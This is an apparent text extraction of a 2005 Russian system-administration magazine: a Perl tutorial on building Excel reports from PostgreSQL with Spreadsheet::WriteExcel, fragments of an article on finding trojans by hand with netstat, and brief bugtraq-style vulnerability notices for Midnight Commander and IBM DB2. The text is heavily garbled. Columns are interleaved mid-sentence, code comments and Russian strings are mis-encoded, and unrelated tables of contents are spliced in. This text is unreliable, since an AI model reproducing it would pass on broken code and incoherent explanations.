$worksheet->write(1, 1, 'Ðóññêèé òåêñò ñ ðàìêîé', $tabformat);
BIFF8, поддерживающем Unicode. Следовательно, необхо-
димо будет все текстовые строки преобразовывать в UTF8. # Âûâîä ASCII-òåêñòà
$worksheet->write(‘B3’, 'English text.');
Подробнее об этом будет сказано далее, при рассмотре-
нии конкретных примеров. К сожалению, от этой версии мне # Âûâîä äàííûõ ñ ïåðåêîäèðîâêîé
$worksheet->write(3, 1, decode(‘koi8-r’, ↵
не удалось добиться правильного отображения имени лис- ' Ðóññêèé òåêñò ñ ðàìêîé '), $tabformat);
та, содержащего русские символы. Работа с одной из пре-
# Ññûëêà íà ñôîðìèðîâàííûé ôàéë
дыдущих версий 0.43 (несмотря на значительный разрыв print "<A href='/excel/test.xls'>Ðåçóëüòàò</A>";

56
программирование
Обратите внимание на строку Spreadsheet::WriteExcel-> всего свободного пространства в текущем разделе (хотя
new(..), которая создает объект (соответствующий тому, что если уж взлом состоялся, то наверняка «хакер» найдет себе
в терминах Excel именуется «книгой»), с которым в даль- более интересные занятия). К тому же, если кому-то удаст-
нейшем будет вестись вся работа. В качестве параметра ся записать в такой файл, скажем, вирус, то можно навсег-
конструктору new() передается имя создаваемого файла да потерять доверие ваших пользователей. Впрочем, ука-
(если файл расположен вне текущего каталога, требуется занные проблемы становятся актуальными лишь в случае,
указать полное имя, включающее абсолютный или относи- если злоумышленнику удастся проникнуть в систему с пра-
тельный путь к файлу). вами, достаточными для записи в эти файлы, но вопросы
Данный файл должен существовать и быть доступным обеспечения безопасности сервера выходят за рамки дан-
для записи сценарием либо сценарий должен иметь права ной статьи.
на создание файла в указанном каталоге. Поскольку пре- Еще один путь решения проблемы временных файлов –
доставлять сценариям право писать в один из каталогов выдача данных, формируемых модулем Spreadsheet::Write-
дерева веб-сервера – не самая лучшая идея (так как в слу- Excel, непосредственно в стандартный поток вывода вмес-
чае взлома сервера у злоумышленника будет больше шан- то сохранения на диск. Начало примера 1 в этом случае
сов «нагадить»), то имеет смысл для этих целей создать спе- будет выглядеть так:
циальную папку (например, /var/tmp/excel) или использовать
/var/tmp. Хотя, с другой стороны, в этом случае мы не смо- #!/usr/bin/perl -w
# Spreadsheel::WriteExcel tests
жем создать ссылку на сформированный файл для непос-
редственного скачивания, и придется использовать сцена- use Encode;
use Spreadsheet::WriteExcel;
рий, который будет отдавать файлы пользователю через http, nowarnings “utf8”;
например, такой:
print "Content-Type: application/vnd.ms-excel\n\n";
Ïðèìåð 2. Ñöåíàðèé getexcel.cgi my $workbook = Spreadsheet::WriteExcel->new('-');
. . .
#!/usr/local/bin/perl -w
# getexcel.cgi В случае если скрипт, создающий файл, работает как
use CGI; CGI-сценарий и должен возвращать данные с использова-
$root = '/var/tmp/excel'; нием протокола HTTP, перед началом формирования вы-
# Ïîëó÷àåì èìÿ ôàéëà èç HTTP-çàïðîñà ходного потока нужно будет передать браузеру заголовок
$cgi = CGI->new(); с указанием mime-типа application/vnd.ms-excel, который по-
$file = $cgi->param('file');
зволит идентифицировать передаваемые данные именно
# Âûðåçàåì íåáåçîïàñíûå ñèìâîëû – èìÿ ôàéëà ìîæåò ñîäåðæàòü как файл в формате Excel. Здесь используется минималь-
# òîëüêî öèôðû è áóêâû â íèæíåì ðåãèñòðå.
# Ðàñøèðåíèå íå óêàçûâàåòñÿ ный заголовок, более подробный приведен выше, в
$file =~ s/[^a-z0-9]//g; getexcel.cgi. Это тоже хороший способ, но из недостатков
$file = "$root/$file.xls";
следует указать на невозможность повторного использо-
# Îòêðûâàåì ôàéë íà ÷òåíèå, óñòàíàâëèâàåì äâîè÷íûé ðåæèì вания уже сформированного файла. Необходимость в этом
open(F, "$file") || &nosuchfile;
binmode(F); возникает нечасто, но все же возникает (например, если
данные меняются реже, чем их запрашивают пользовате-
# Ôîðìèðóåì íóæíûé çàãîëîâîê
print "Content-Disposition: form/data; name=\"$file\"; ↵ ли, то между изменениями данных разумно было бы отда-
filename=\"$file\"\n"; вать пользователю уже сформированный отчет, а не созда-
print "Content-Type: application/vnd.ms-excel; ↵
name=\"file.xls\"\n"; вать его заново). Обратите внимание, что в этом случае
print "Content-Transfer-Encoding: binary\n\n"; команды print (и прочие, осуществляющие вывод в стан-
# Âûâîäèì ñîäåðæèìîå ôàéëà дартный поток) могут использоваться только для форми-
while(<F>) { рования HTTP-заголовка. Весь остальной вывод (вывод
print;
} данных) должен осуществляться исключительно силами па-
close(F); кета Spreadsheet::WriteExcel.
Вернемся к нашему примеру 1. Объект, соответствую-
#----------------------------------- subs щий файлу, у нас уже создан, теперь нужно создать лист
sub nosuchfile {
print "Content-Type: text/html\n\n"; (для этого используется метод add_worksheet) и можно при-
print "<H3>Ôàéë '$file' íå íàéäåí.</H3>"; ступать к записи данных. Для записи используется метод
return(-1);
} листа write, формат которого может быть одним из следую-
щих:
Как компромисс можно заранее создать в одном из ка-
талогов, доступных веб-серверу, нужные файлы и дать на $worksheet->write(cell, text[, format])
$worksheet->write(rownum, colnum, text[, format])
них требуемые права записи, запретив, однако, запись в
каталог. При этом можно даже разместить на них стати- То есть адрес ячейки можно задавать как в формате
ческие ссылки, которые всегда будут возвращать после- «A1», так и номерами строки и столбца. Ячейке A1 соот-
дний созданный отчет. Этот вариант выглядит более безо- ветствуют строка 0 и столбец 0.
пасным, по крайней мере для сервера, однако остается ги- Необязательный параметр format передает объект, со-
потетическая вероятность заполнения злоумышленником здаваемый методом «книги» $workbook->add_format(). Он

№1, январь 2005 57


программирование
позволяет изменять принятое по умолчанию форматирова-
ние ячейки, для чего используются соответствующие мето-
ды данного объекта. В примере выше мы задаем видимую
границу вокруг соответствующих ячеек с помощью метода
set_border().
Поскольку версия 2.11 модуля WriteExcel подразумева-
ет запись данных в формате Unicode, то все текстовые стро- Для примера заполним таблицу несколькими записями:
ки требуется преобразовать в формат UTF8. (Чтобы посмот-
test=> select * from trf_adsl;
реть на результат вывода текста без перекодировки, в при- trfname | payment | traflimit | overlimit | comment
мер 1 добавлена строка, выводящая в одну из ячеек рус- --------------------------------+------------+-----------+------------+---------------------------------------
"Свободный" | 0.00 | 0 | 2.30 | Мин. предоплата – 300 руб.
ский текст непосредственно). Для этого я использую стан- "Сотка" | 200.00 | 100 | 2.15 |
"Школьный" | 250.00 | 120 | 2.05 |
дартный модуль Encode, функция которого decode(charset, "Студенческий" | 300.00 | 150 | 2.00 | До 1.06.2005
string) осуществляет преобразование строки string, храня- "Корпоративный" | 1200.00 | 750 | 1.55 |
(записей: 5)
щейся с использованием кодировки charset, во «внутрен-
нее представление Perl» (как сказано в man Encode). В моем Для простого вывода этих данных на html-страницу все
случае «внутренне представление» совпадает с UTF8, по- достаточно банально:
этому дальнейших преобразований не требуется. Но тот же
man Encode предупреждает, что может быть и по-другому, Ïðèìåð 3. Ñöåíàðèé showtrf.cgi
поэтому в общем случае может потребоваться использо- #!/usr/local/bin/perl -w
вать также функцию encode() для получения нужной коди- # showtrf.cgi
ровки. Ну и чтобы подавить вывод предупреждений «Wide use DBI;
character in print at…», которые формируются при попытке
$dbh = DBI->connect('dbi:Pg:dbname=test', 'serg', '');
вывода оператором print многобайтных символов, исполь- $hres = $dbh->selectall_hashref('SELECT * ↵
зуется прагма «no warnings “utf8”». FROM trf_adsl', 'traflimit');
Еще одно замечание о Spreadsheet::WriteExcel – посколь- print <<__ENDHTML__;
ку в самом модуле используется прагма Perl use strict, то даже Content-Type: text/html
если вы предпочитаете более вольный стиль, переменные, <LINK rel='stylesheet' type='text/css' href='/_serv_/main.css'>
используемые им ($workbook, $worksheet, $tabformat) дол- <H2>Òàðèôû íà óñëóãè äîñòóïà â Èíòåðíåò ïî ADSL</H2>
жны быть объявлены до использования, например, как my. <TABLE border='1'><TR>
В противном случае модуль выдаст сообщение «Can’t use <TH>Òàðèôíûé ïëàí
<TH>Àáîíåíòñêàÿ ïëàòà
an undefined value…» (невозможно использовать неопреде- <TH>Âêëþ÷åííûé òðàôèê
ленное значение), и xls-файл сформирован не будет (точ- <TH>Ñòîèìîñòü<BR>ñâåðõëèìèòíîãî<BR>òðàôèêà
<TH>Ïðèìå÷àíèå
нее, сам файл создастся, но будет пустым). Хотя аварий- </TR><TR>
ного завершения работы сценария в этом случае не проис- __ENDHTML__
ходит. @sorted = keys %$hres;
Для общего представления о модуле Spreadsheet::Write- @sorted = sort(@sorted);
foreach $payment (@sorted) {
Excel изложенного, думаю, достаточно. Перейдем к более print "\t<TD>${$$hres{$payment}}{'trfname'}\n";
содержательному примеру. Пусть у нас в базе данных есть print "\t<TD id='nr'>${$$hres{$payment}}{'payment'}\n";
print "\t<TD id='nr'>${$$hres{$payment}}{'traflimit'}\n";
таблица с тарифами на услуги доступа в Интернет по тех- print "\t<TD id='nr'>${$$hres{$payment}}{'overlimit'}\n";
нологии ADSL, и требуется предоставить абонентам воз- print "\t<TD>${$$hres{$payment}}{'comment'}\n";
print "</TR><TR>\n";
можность как ознакомиться с ними на html-странице, так и }
загрузить файл в формате Excel, содержащий эту инфор- print "</TR></TABLE>\n";
мацию. Конечно, тарифы меняются не так часто, и, вероят-
но, проще было бы решить поставленную задачу разработ- Результат тоже вполне обычен (рис. 1, внешний вид оп-
кой статической страницы и заранее созданным файлом ределяется подгружаемой таблицей стилей /__serv__/
Excel. Тем не менее, этот пример хорош как раз своей про- main.css).
стотой.
Итак, в какой среде нам предстоит работать. База дан-
ных PostgreSQL, веб-сервер Apache с поддержкой CGI, Perl
с установленным модулем Spreadsheet::WriteExcel. Все это
работает под FreeBSD 5.3.
Таблица тарифов создана такой командой:

test=> create table trf_adsl (trfname varchar,


test(> payment numeric(7,2),
test(> traflimit numeric(5),
test(> overlimit numeric(5,2),
test(> comment varchar);
CREATETABLE

Назначения полей следующие: Ðèñóíîê 1

58
программирование
Создать
Ïðèìåð 4.файл в формате
Ñöåíàðèé Excel не намного сложнее. При-
exceltrf.cgi if(length($tmp) > $rowidth[2]) ↵
веду#!/usr/local/bin/perl
код сценария полностью, а ниже дам ряд пояснений: { $rowidth[2] = length($tmp); }
-w $ws->write($row, 2, koi2utf($tmp), $tabfmt);
# exceltrf.cgi
$tmp = ${$$hres{$payment}}{'overlimit'};
# Ïîäêëþ÷åíèå íóæíûõ ìîäóëåé if(length($tmp) > $rowidth[3]) ↵
useDBI; { $rowidth[3] = length($tmp); }
use Encode; $ws->write($row, 3, koi2utf($tmp), $tabfmt);
use Spreadsheet::WriteExcel;
nowarnings “utf8”; $tmp = ${$$hres{$payment}}{'comment'};
if(length($tmp) > $rowidth[4]) ↵
# Ôóíêöèÿ ïåðåêîäèðîâêè èç koi8-r â utf8 { $rowidth[4] = length($tmp); }
sub koi2utf { $ws->write($row, 4, koi2utf($tmp), $tabfmt);
$text = shift;
return decode(‘koi8-r’, $text); $row++;
} }
# Çàïðîñ ê áàçå äàííûõ # Óñòàíàâëèâàåì óòî÷íåííóþ øèðèíó ñòîëáöîâ
$dbh = DBI->connect('dbi:Pg:dbname=test', 'serg', ''); for($i = 0; $i < 5; $i++) {
$hres = $dbh->selectall_hashref('SELECT * ↵ $ws->set_column($i, $i, $rowidth[$i] + 3);
FROM trf_adsl', 'traflimit'); }
# Ñîçäàåì «êíèãó» è ëèñò ñ èìåíåì «ADSL» # Âûâîäèì ññûëêó, ïî êîòîðîé ìîæíî äîáðàòüñÿ
$fn = 'tr' . time() . '.xls'; # äî ñôîðìèðîâàííîãî ôàéëà
my $wb = Spreadsheet::WriteExcel-> ↵ print <<__ENDHTML__;
new('../public_html/excel/' . $fn); Content-Type: text/html
my $ws = $wb->add_worksheet(‘ADSL');
<A href="/excel/$fn">$fn</A>
# Çàäàåì àëüáîìíîå ðàñïîëîæåíèå ëèñòà
$ws->set_landscape(); __ENDHTML__
# Ôîðìàò òåêñòà, èñïîëüçóåìûé äëÿ ôîðìèðîâàíèÿ çàãîëîâêà Для тестирования я выбрал сохранение формируемого
my $textfmt = $wb->add_format(font => 'Arial',
size => 18, файла в папке /excel дерева каталогов веб-сервера (см. путь
color => 'blue', в тексте примера), для которой установлены соответству-
italic => 1);
$textfmt->set_merge(); ющие права, позволяющие сценарию создавать в нем фай-
# Ôîðìàò «øàïêè» òàáëèöû
лы. Почему на реальных системах так делать не следует,
my $headfmt = $wb->add_format(); мы уже обсуждали. Имя файла формируется динамически
$headfmt->set_bold(); с использованием значения текущего времени (см. пере-
$headfmt->set_align('center');
$headfmt->set_align('vcenter'); менную $fn). Сделано это для того, чтобы на стадии тести-
$headfmt->set_text_wrap(); рования не тратить время на борьбу с ретивыми браузера-
$headfmt->set_border();
$headfmt->set_bottom(6); ми и прокси-серверами, норовящими сэкономить вам тра-
my $mygray = $wb->set_custom_color(40, '#AAAAAA'); фик за счет кэширования, а также чтобы сохранить исто-
$headfmt->set_bg_color($mygray);
рию экспериментов.
# Ôîðìàò îñòàëüíûõ ÿ÷ååê òàáëèöû После создания рабочего листа $ws с помощью метода
my $tabfmt = $wb->add_format(num_format => '0.00', ↵
border => 1); книги add_format() описываются несколько объектов, кото-
# Îáúåäèíåíèå ÿ÷ååê A1-E1
рые будут отвечать за форматирование ячеек. Свойства
$ws->merge_range('A1:E1', ячеек можно задавать как непосредственно в параметрах
koi2utf('Òàðèôû íà óñëóãè äîñòóïà â Èíòåðíåò ïî ADSL'), add_format (см. $textfmt и $tabfmt), так и с помощью мето-
$textfmt);
дов объекта формата после его создания (см. $headfmt).
# Âûâîä «øàïêè» òàáëèöû Заголовок и «шапка» таблицы формируются «вручную»
$ws->write('A3', koi2utf('Òàðèôíûé ïëàí'), $headfmt);
$ws->write('B3', koi2utf('Àáîíåíòñêàÿ ïëàòà'), $headfmt); с явным указанием ячеек, куда текст помещается. Метод
$ws->write('C3', koi2utf('Âêëþ÷åííûé òðàôèê'), $headfmt); merge_range() действует аналогично write(), но позволяет
$ws->write('D3', koi2utf('Ñòîèìîñòü ñâåðõëèìèòíîãî ↵
òðàôèêà'), $headfmt); объединить несколько ячеек.
$ws->write('E3', koi2utf('Ïðèìå÷àíèå'), $headfmt); Далее в цикле выполняется выборка из хэша результа-
# Íà÷àëüíûå çíà÷åíèÿ øèðèíû ñòîëáöîâ тов запроса к БД, и соответствующие ячейки заполняются
@rowidth = (15, 10, 10, 15, 15); данными из таблицы trf_adsl. Здесь для метода write() удоб-
# Îñíîâíóþ òàáëèöó âûâîäèì, íà÷èíàÿ ñ 4-é ñòðîêè нее использовать «раздельную адресацию», когда ячейка
$row = 3; определяется номерами строки и столбца.
# Ïîñòðî÷íûé âûâîä òàáëèöû Переменная $tmp и вычисления длины нужны для того,
@sorted = keys %$hres; чтобы установить ширину столбцов, позволяющую целиком
@sorted = sort(@sorted);
foreach $payment (@sorted) { видеть содержимое ячеек. Вообще проблема вычисления
$tmp = ${$$hres{$payment}}{'trfname'};
ширины столбца достаточно сложна, чтобы подходить к ней
if(length($tmp) > $rowidth[0]) ↵ «академически». Я предпочитаю некоторое сочетание ме-
{ $rowidth[0] = length($tmp); } тодов «на глазок» и «подогнать». Результат получается
$ws->write($row, 0, koi2utf($tmp), $tabfmt);
вполне приемлемым при минимуме затрат сил и времени.
$tmp = ${$$hres{$payment}}{'payment'}; А именно, первоначальную ширину столбцов я определяю
if(length($tmp) > $rowidth[1]) ↵
⎯ { $rowidth[1] = length($tmp); } подбором по ширине заголовков (результат занесен в мас-
$ws->write($row, 1, koi2utf($tmp), $tabfmt); сив @rowidth). В дальнейшем пользуюсь тем, что в Excel
$tmp = ${$$hres{$payment}}{'traflimit'}; ширина столбца задается в символах стандартного шриф-

№1, январь 2005 59


программирование
та. Поскольку шрифт для основного текста я не меняю, то Вот, пожалуй, и все, что я хотел сказать в этой статье.
просто выполняется поиск наибольшей длины строки, ко- Можно было бы подробней пройтись по методам записи в
торая будет заноситься в столбец, и если она превышает ячейки, форматированию, способам указания формата ли-
первоначальные значения в @rowidth, – производится кор- ста и т. д. Однако все это очень детально и понятно описа-
ректировка. Ну и при установке ширины столбцов (цикл for но в справочном руководстве man Spreadsheet::WriteExcel
в конце сценария) еще добавляю 3 символа «про запас». (эту же справку можно получить и через perldoc – кому как
Результат представлен на рис. 2. удобнее), к тому же с массой наглядных примеров, так что
Теперь осталось собрать все воедино. Итоговый файл я уже не смогу написать лучше.
я приводить не буду – он просто объединяет предыдущие Скажу лишь, что модуль содержит ряд специализиро-
два (showtrf.cgi и exceltrf.cgi) таким образом, чтобы при об- ванных методов вывода помимо универсального write (на-
ращении к странице тарифы выводились на экран, и одно- пример, write_number, write_string, write_formula и т. д.), ко-
временно формировался бы файл, ссылка на который бу- торые могут быть использованы для конкретизации типа
дет появляться на этой же странице. Файл с требуемым заносимых в ячейку данных.
именем в итоговом варианте лучше создать заранее (мож- Существует возможность гибко управлять параметра-
но даже пустой, например, командой touch), а с каталога, в ми страницы (формат бумаги, ориентация листа, поля, мас-
котором он размещен, снять права на запись. Впрочем, штаб и т. д.).
различные способы решения проблемы «временных фай- Список методов изменения формата ячеек также намно-
лов» были указаны выше, и окончательный выбирать все го богаче, чем было показано в статье. В общем, можно
же вам. сказать, что Spreadsheet::WriteExcel позволяет делать прак-
тически все, что вы можете сделать в Excel вручную (за ис-
ключением разве что макросов).
В заключение замечу, что описанный модуль в паре со
Spreadsheet::ParseExcel (который позволяет извлекать дан-
ные из xls-файлов) можно использовать и для непосред-
ственной обработки файлов Excel, например, чтобы сфор-
мировать какой-нибудь годовой отчет на основе ежемесяч-
ных. Возможно, это выглядит несколько громоздко, но все
же позволяет сократить объем рутины, которую так или
Ðèñóíîê 2 иначе приходится делать.

ИТОГИ КОНКУРСА
В августовском номере журнала за прошлый год редакцией был объявлен конкурс на лучшие статьи, описывающие
успешный опыт в области системного администрирования. В течение нескольких месяцев в редакцию приходили мате-
риалы и предлагались интересные темы. В итоге несколько конкурсных статей опубликованы в октябрьском и ноябрьс-
ком номерах журнала – это материалы Романа Гребенникова, Сергея Супрунова, Ивана Коробко и Дениса Батранкова.
Всем авторам опубликованных материалов перечислен гонорар за статьи.

безопасность конкурсная статья безопасность Победителем признан Денис Батранков, приславший ста-
в которых приходится скачивать нужные программы через вашем компьютере все что угодно: скачивать файлы, рас-

ПОИСК ТРОЯНОВ ВРУЧНУЮ Интернет. Например, я однажды приехал в гости к родствен-


никам в Сибирь, обрадовался наличию компьютера с мо-
демным доступом к Интернету, сел за него и, нажав по при-
вычке <Ctrl-Alt-Del>, сразу обнаружил трояна в списке про-
сылать спам, быть прокси-сервером, участвовать в DOS-
атаке, быть плацдармом для других атак, естественно, в
рамках функций, предоставляемых им имеющейся опера-
ционной системой. В данном случае мы рассматриваем
тью «Поиск троянов вручную» (№10, октябрь 2004 г.) Авто-
цессов. Поскольку нужных программ под рукой не было, версии Windows: 2000 SP4, XP SP1, 2003.
пришлось лечить вручную. Единственной «защитой» этого
компьютера с Windows XP был гордо стоящий антивирус с
базами вирусов двухгодичной давности. В Windows даже
не был включен ICF.
Такие программы открывают TCP-порт на компьютере
жертвы, устанавливают его в состояние LISTENING и ждут,
когда хакер подключится на этот порт. Таким образом, нам
нужно выявить все процессы, которые открыли TCP-порты и
ру вручается подписка на журнал «Системный админист-
К сожалению, подавляющее большинство пользовате- которые находятся в состоянии LISTENING, и решить, одоб-
лей неопытны и несведущи в вопросах компьютерной бе-
зопасности. Компьютеры на платформе Intel и операцион-
ная система Windows являются высокотехнологичными про-
дуктами. Ведь даже среди тех, кто пользуется общеизвест-
ряете ли вы это соединение или нет. То же самое можно ска-
зать про UDP-порты – за ними тоже надо смотреть, с един-
ственным отличием, что у них нет состояний – с этих пор-
тов может как приниматься информация, так и отсылаться.
ратор» на 2005 год, а также подшивка прошлых номеров
журнала.
ной программой Microsoft Word, не так много людей, кто С ходу можно сказать, что если у вас обычный компьютер,
изучал его на курсах или хотя бы читал к нему документа- подключенный к выделенной линии или через модем в Ин-
цию. Что тут говорить про образованность в области ком- тернет, то в идеале у вас не дожно быть слушающих портов.
пьютерной безопасности. Даже если приложения или сервисы Windows открыли эти
К каждому пользователю специалиста по компьютер- порты, то они должны быть закрыты персональным firewall.
ной безопасности не приставишь. Поэтому на таких компь- Чтобы выявить программы, которые ожидают (и уста-
ДЕНИС БАТРАНКОВ ютерах все подготовительные мероприятия их владельцы
будут делать сами при работающем трояне и подключен-
навливают) соединения в Windows XP и Windows 2003, мож-
но, конечно, воспользоваться стандартной утилитой netstat
В этой статье вы найдете ответы на следующие вопросы:  Просмотреть логи персонального firewall. Если firewall ном Интернете, поскольку Интернет – единственное место, c параметрами -ano. (Параметр -а заставляет netstat пока-
 Что делать, если вы предполагаете, что на вашем ком- не смог заблокировать несанкционированные соедине- где они могут найти помощь и программное обеспечение зывать все имеющиеся подключения и ожидающие порты, №9(22) сентябрь 2004
пьютере с Windows установлена программа-шпион или ния трояна в силу своей недостаточной функциональ- для поиска троянов. Тем более чего им бояться – все важ- -n преобразует вывод адресов и портов в числовой формат, подписной индекс 81655
троян? ности или неправильной настройки, то есть надежда, ное троян уже наверняка украл и отослал своему владель- -o отображает для каждого подключения идентификатор www.samag.ru

 Как найти троянскую программу или spyware, если ваш что он хотя бы запротоколировал, какие соединения цу. Но даже в этом случае, после того как вы скачали все процесса, создавшего это подключение). В Windows 2000 Linux на страже Windows:
антивирус или AdWare ее не находит? были пропущены в Интернет. Если хорошего персональ- необходимые утилиты на локальный диск, нужно отключить- ключ -o еще не был изобретен. Например: обзор системы резервного копирования
ного firewall нет, то хотя бы включите встроенный в ся от Сети.
BackupPC
№10(23) октябрь 2004
C:\Documents and Settings\User>netstat -ano
Статья для начинающих системных администраторов и Windows XP firewall, который называется ICF (как это сде- Итак, боевая задача состоит в том, чтобы успешно прой- подписной индекс 81655
GRSecurity – система безопасности
www.samag.ru
опытных пользователей Windows описывает возможные спо- лать, описано на http://www.microsoft.com/rus/windowsxp/ ти три этапа: найти трояна, убить его и поменять свои укра- Активные подключения для Linux
собы поиска троянских программ и также описывает, как ис- using/howto/networking/icf.asp). Протоколы встроенного денные пароли. Именно в такой последовательности. Имя Локальный адрес Внешний адрес Состояние PID Знакомство с Cooperative Linux
пользовать для этого поиска программы и утилиты из стан- firewall можно посмотреть с помощью любого текстово- Замечание: программа в операционной системе Windows TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 856 Роутер без диска
дартной поставки Windows 2000, XP и 2003 и программы го редактора, открыв файл C:\WINDOWS\ pfirewall.log. представлена в виде процесса, в котором может работать TCP
TCP
0.0.0.0:445
0.0.0.0:1025
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
4
1028
№11(24) ноябрь 2004 Идеальный карманный компьютер
сторонних разработчиков: netstat, msconfig, msinfo32, tlist, Но лучше использовать более удобные утилиты, ссыл- несколько нитей, и все эти нити загружены в память из TCP 0.0.0.0:4928 0.0.0.0:0 LISTENING 3660 подписной индекс 81655 для системного администратора Windows XP Service Pack 2
Sysinternals TCPView, CurrPorts, WinTasks, Security Task ки на которые легко найти при помощи Google (напри- файлов, хранящихся на диске. Как правило, это файлы с TCP 0.0.0.0:4929 0.0.0.0:0 LISTENING 3660 www.samag.ru глазами системного администратора
TCP 0.0.0.0:4946 0.0.0.0:0 LISTENING 3660
Утилита nLite: Bluetooth + Linux
Manager, Starter, Winpatrol, Sysinternals Autoruns, Sysinternals мер, набрав в строке поиска «XP firewall logger»). расширением EXE и DLL. Расширения могут быть и други- TCP 0.0.0.0:6213 0.0.0.0:0 LISTENING 3660
Возможно ли повышение точности IDS
ProcessExplorer, MoveOnBoot, Microsoft PortReporter, System ми. Злоумышленники часто используют другие расшире- TCP 0.0.0.0:6218 0.0.0.0:0 LISTENING 3660 формируем свой дистрибутив Настройка squid
TCP 0.0.0.0:6247 0.0.0.0:0 LISTENING 3660
Safety Monitor. Первый пункт достаточно понятен и помогает в 80% слу- ния, чтобы никто не догадался. TCP 0.0.0.0:6253 0.0.0.0:0 LISTENING 3660
№12(25) декабрь 2004 Windows XP/2000/2003 для использования авторизации PostgreSQL:
TCP 0.0.0.0:6299 0.0.0.0:0 LISTENING 3660 подписной индекс 81655
Если коротко описать процесс поиска программы, вы- чаев. За третий пункт нужно браться в самом запущенном Некоторыми проявлениями троянских программ явля- из домена Windows 2000 графический клиент pgAdmin
TCP 0.0.0.0:6344 0.0.0.0:0 LISTENING 3660 www.samag.ru Мониторинг UNIX-серверов
полняющей нежелательные действия, то алгоритм обычно случае и еще лучше со специалистом по компьютерной бе- ются: TCP 0.0.0.0:9762 0.0.0.0:0 LISTENING 2324
c помощью Nagios и SNMP
Единая учетная запись для Windows Установка и настройка W2K Server FreeBSD tips: устанавливаем VPN
такой: зопасности (далее КБ). Давайте попробуем выполнить дей-  несанкционированные соединения c различными хоста- TCP
TCP
0.0.0.0:10641
0.0.0.0:10676
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
2884
2324 и UNIX в Active Directory
 Обновить базу данных установленного на вашем ком- ствия, описанные во втором пункте. Тем более что при вни- ми в Интернете; TCP 0.0.0.0:10892 0.0.0.0:0 LISTENING 2324 Использование бездисковых Четырехузловой кластер Восстановление данных
пьютере антивируса и проверить им все локальные дис- мательном выполнении всех операций можно найти и убить  открытые программами соединения, ожидающие под- TCP
TCP
127.0.0.1:111
127.0.0.1:143
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING
2676
2676
Копирование файлов Linux-станций с загрузкой по сети с балансировкой нагрузки на NTFS-разделах
ки. (Если антивируса нет, то установить его.) Вам нуж- любую гадость, засевшую в вашем компьютере. ключения извне; TCP 127.0.0.1:3044 0.0.0.0:0 LISTENING 1608 в автоматическом режиме без внешнего массива данных
но осознавать, что если антивирус не обнаружил троя- Возникает вопрос, нужно ли отключаться от Интернета,  попытка открыть ненужные для нормальной деятельно- TCP 127.0.0.1:3045 0.0.0.0:0 LISTENING 1028 с множества компьютеров через SSH Пакетный фильтр OpenBSD Пакетные команды интерфейса ATAPI
TCP 127.0.0.1:3046 0.0.0.0:0 LISTENING 1028
нов, то это не значит, что их у вас нет. На компьютере если мы ищем вирус или троян? Вам понадобятся различ- сти файлы на локальном диске; TCP 127.0.0.1:3085 0.0.0.0:0 LISTENING 2324
Танцуем самбу PostgreSQL: функции и триггеры
может работать свежий троян или специально подготов- ные утилиты для поиска трояна (какие конкретно будет опи-  добавление себя в списки автозапуска; TCP 127.0.0.1:5335 0.0.0.0:0 LISTENING 3232 Защита сетевых сервисов PHP 5 – пришествие неизбежно
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 3232 с помощью stunnel
ленная для вас программа-шпион, которой еще нет в сано далее). Если эти утилиты уже есть или на жестком  маскировка под стандартные системные процессы и раз- Linare – настольный дистрибутив Linux Внутренний веб-сервер
базах ни одной компании производителя антивируса. И, диске, или на компакт-диске, или у вас есть возможность мещение в системной папке Windows. Результат, как видите, аскетичен: порты, конечно, вы- Использование аппаратных ключей
возможно, вы тот человек, который первым выявит и сходить за нужными дисками, или скачать и записать на водятся, но вместо информации о приложениях выдается Иммунная система для компьютера STAT – совсем другая IDS
в целях аутентификации в Linux
пошлет эту программу для исследования в антивирус- компакт-диск нужные программы на другом незараженном Находим троянскую программу, только номер процесса. Хотелось бы еще узнать имя про- Поиск троянов вручную
ную компанию. компьютере, то необходимо отключиться от Сети. Это нуж- которая ждет входящего соединения цесса и местоположение файла, из которого он был запу- Система обнаружения атак SHADOW Пассивный перехват трафика
 Посмотреть, какие процессы работают на компьютере но сделать, чтобы предотвратить дальнейшую утечку ин- Обычно авторы таких программ называют свои програм- щен. Но давайте хотя бы разберемся с тем, что уже есть.
Биллинг для АТС на базе PostgreSQL Запись дисков CD-R/RW в Linux
и какие соединения с Интернетом ими используются. формации с компьютера. Отключаться нужно даже от ло- мы «программами удаленного управления». Типичной ил- Если вы увидели у себя много TCP-соединений в состо-
Возможно, на диске появились новые файлы, возмож- кальной сети, например, сети офиса или домашней сети, люстрацией этого вида троянских программ является Back янии LISTENING, то не пугайтесь – это, скорее всего, не Обработка переадресованных Создание и настройка
но, старые файлы изменились. Возможно, в реестре по- чтобы не заражать соседние компьютеры. Orifice (см. описание http://www.viruslist.com/viruslist.html?id= трояны, а работающие по умолчанию стандартные серви- http-запросов сервера терминалов
явились новые ключи или параметры. Однако иногда встречаются особо запущенные случаи, 3957&gloss=8227). Такие программы позволяют делать на сы Windows.
Автоматизация FTP с помощью Python
68 №10(23), октябрь 2004 69

Уважаемые читатели!

Конкурс продолжается – присылайте свои материалы, самые интересные будут опубликованы на страницах
журнала. Итоги следующего этапа конкурса будут подведены в июльском номере журнала. Успехов!

Условия участия и подробности смотрите на сайте журнала www.samag.ru в разделе «Конкурс».

60
bugtraq

Выполнение произвольного кода Выполнение произвольного кода


и отказ в обслуживании в IBM DB2
в Midnight Commander Программа: IBM DB2 7.x, 8.1.
Программа: Midnight Commander до 4.5.55 версии. Опасность: Высокая.
Опасность: Высокая. Описание: Обнаружено переполнение буфера в IBM DB2.
Описание: Несколько уязвимостей в Midnight Commander Локальный атакующий может выполнить произвольный код
позволяют удаленному пользователю вызвать отказ в об- на уязвимой системе.
служивании и выполнить произвольный код на уязвимой Уязвимость существует в функции generate_distfile. Ло-
системе. кальный атакующий может послать функции с помощью
Множественные уязвимости форматной строки в фай- db2dbappext.dll специально сформированный третий пара-
лах src/utilunix.c и vfs/fish.c позволяют удаленному пользо- метр, вызвать переполнение стека и выполнить произволь-
вателю вызвать отказ в обслуживании или выполнить про- ный код на уязвимой системе.
извольный код на уязвимой системе с привилегиями пользо- Уязвимость существует в функции rec2xml. Удаленный
вателя, запустившего mc. атакующий может послать функцию с длинным третьим па-
Множественные переполнения буфера в файлах src/ раметром и выполнить произвольный код на уязвимой сис-
